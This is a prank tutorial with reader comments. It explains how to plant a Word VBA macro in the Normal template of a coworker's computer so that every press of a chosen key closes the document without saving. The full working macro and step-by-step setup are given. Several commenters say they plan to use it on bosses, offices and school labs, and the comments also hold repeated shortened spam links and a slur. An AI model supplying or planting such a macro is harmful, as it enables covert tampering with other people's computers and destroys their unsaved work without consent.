What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?
Step 1: Open up Micro Soft Word
Step2: Press alt F11, this will open up a vba editor for word.
Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.
Step4: Copy and past this code into the document
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
Step5: Close word
Step6: Enjoy
If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.
Key Options
To change the key from E to something else replace this piece of the code in bold
.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)
If you want to use a different letter it is: wdKeyYOURLETTER
If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace
Try out different options, its a lot of fun.
Yeah…’cause as a species we just don’t fuck with each other enough.
microsoft office pranks http://tinyurl.com/2qxwmj
omg i wana do this to my boss right now but ill get fired if they find out…
ill prob just do it to everyone in my entire office before i leave (quit).
It is mean, id never do it to any family or friends, but its work so i dont really give a shit.
this is perfect! thanks!
Microsoft Word Prank http://tinyurl.com/2qxwmj
I’m gonna do it at school for ALL computers. Thanks.
hah! awesome Microsoft Word prank. http://tinyurl.com/2qxwmj
Ahh!
That looks awesome xD
I’ll have to try it!!!
how do you change it back? just delete code??
Such a gay prank
Would be a shame if someone did this to a entire computer lab at a school. *evil grin*
Hey cool man!!!
i will do it on my college computer!!
thanx man!!
this is quite funny i may do it but would probably have to find a way to change it back
Cool, I’ll do this at the power plant I work at. Doooh.
ok, not really. I don’t want anyone to take me seriously and report me as a terrorist.
“I’m gonna do it at school for ALL computers. Thanks.”
dumbass, the normal.dot file is stored in your user directory. If you to this to ALL the computers you will still be the only one affected… lulz…
How do you change it back?
cool!!!!